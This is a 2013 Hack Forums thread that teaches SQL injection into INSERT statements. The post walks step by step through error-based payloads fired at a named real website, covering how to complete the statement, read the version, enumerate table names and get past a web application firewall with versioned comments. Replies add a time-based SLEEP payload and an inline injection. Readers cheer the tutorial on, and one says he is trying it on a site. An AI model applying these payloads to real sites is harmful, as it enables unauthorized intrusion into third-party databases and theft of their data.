[How to] Inject into INSERT statement.

[How to] Inject into INSERT statement. - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: [How to] Inject into INSERT statement. (/showthread.php?tid=3288893)

[How to] Inject into INSERT statement. - kimsonha - Feb 26, 2013

Hello,

Sometime you will have an inject point with the INSERT statement, if you can go on with INSERT statement, you do not need to read my thread, if no, this is your trick.

So, the idea is using error-based to exploit, you can not use union-based with INSERT statement, as least I can not.

Lets begin with my machine first,

I have created a `Tutorial` database with `Persions` table and two column, `ID` and `Name` for testing.

Now we need an INSERT query, here:

Code 
INSERT INTO Persions VALUES ('4','kimsonha')

Because we are using my machine, we have 2 inject point, they are what we input,`4` and `kimsonha`, it will have more if we have real vulnerable site.

We use this query to test:

Code 
SELECT 1 FROM (SELECT name_const(version(),1),name_const(version(),1))a)

So here is result:

[Image: YcX33Go.png?1]

Nothing special, now let play with real life:

Quote:www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4'

As you see, there are vulnerable in INSERT statement:

[Image: Cu7hIpe.png?1]

First, we need make as least one inject point, so we go on to make a complete INSERT statement.

Code 
www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4')%23

The site say:

[Image: 2hRQRsr.png?1]

Now, look at error and count,

Quote:SQL=INSERT INTO jos_fb_whoisonline (`userid` , `time`, `what`, `task`, `do`, `func`,`link`, `userip`, `user`) VALUES ('0', '1361927862', 'Forum principal','','','4')#','/index.php?option=com_fireboard&Itemid=6&func=4%27)%23', '42.117.108.20', '0')

As you see, they have 9 columns, and we only give them 6 values, so we need 3 more to complete the INSERT statement.

Code 
www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4','0','0','0')%23

The site load normally, it mean we have inject point now :) We have 4 inject points.

Let get the version:

Code 
www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4','0','0',(select+1+from(select+name_const(version(),1),name_const(version(),1))a))%23

You can use error-based to exploit more, because the version is higher than 5.1.5, so I use UpdateXML and ExtractValue to exploit.

Code 
www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4','0','0',(select+extractvalue(1,concat(0x2e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))))%23

There are a WAF, so we need to bypass:

Code 
www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4','0','0',(select+extractvalue(1,concat(0x2e,(select+/*!50000table_name*/+from+information_schema.tables+/*!50000where*/+table_schema=database()+limit+0,1)))))%23

And we done :)

[Image: NuXCi3l.png?1]

Thank for paying attention on my thread.

kimsonha @ HF

p/s: sorry for my bad english.

* - drumnvader - Feb 27, 2013

Nice tutorial! thanks for sharing! props

* - ajkaro - Feb 27, 2013

HQ tutorial kimsonha... keep it comming 👍

* - eagle360 - Sep 23, 2013

nice work, man
HQ tutorial kimsonha...

* - Black Blade - Sep 23, 2013

sweet tut man HQ keep it up :) 🎉 🎉

* - RotiHangus HC - Oct 6, 2013

This is what im searching for!
INSERT DB. Hehehe :)

* - Th3PonyWizard - Oct 6, 2013

Yeah doing this with Error based is one way, and it's pretty good. Sometimes tho, you don't have mysql_error() enabling you the use of error based method, so you'd have to resort to other stuff. Boolean-TIME based through benchmark / SLEEP for example.

Code 
' + (SELECT IF((SELECT 1)=1, SLEEP(1337), 1)));

That's one pain in the ass tho :\

* - benzi - Oct 6, 2013

(Oct 6, 2013 04:51 AM)Th3PonyWizard Wrote: Yeah doing this with Error based is one way, and it's pretty good. Sometimes tho, you don't have mysql_error() enabling you the use of error based method, so you'd have to resort to other stuff. Boolean-TIME based through benchmark / SLEEP for example.

Code
' + (SELECT IF((SELECT 1)=1, SLEEP(1337), 1)));
That's one pain in the ass tho :\

or, you can simply do this:
if the injection is here-
INSERT INTO Persions VALUES ('4$injection','kimsonha')
you can-
',version())-- -
and then
INSERT INTO Persions VALUES ('4',version()) -- -','kimsonha')

* - Th3PonyWizard - Oct 6, 2013

(Oct 6, 2013 07:06 AM)benzi Wrote: or, you can simply do this:
if the injection is here-
INSERT INTO Persions VALUES ('4$injection','kimsonha')
you can-
',version())-- -
and then
INSERT INTO Persions VALUES ('4',version()) -- -','kimsonha')

I thought the whole point is not being able to see what you're inserting.

* - JACK.HAMMER - Dec 25, 2013

my friends iam try with this site but its not working ??!! why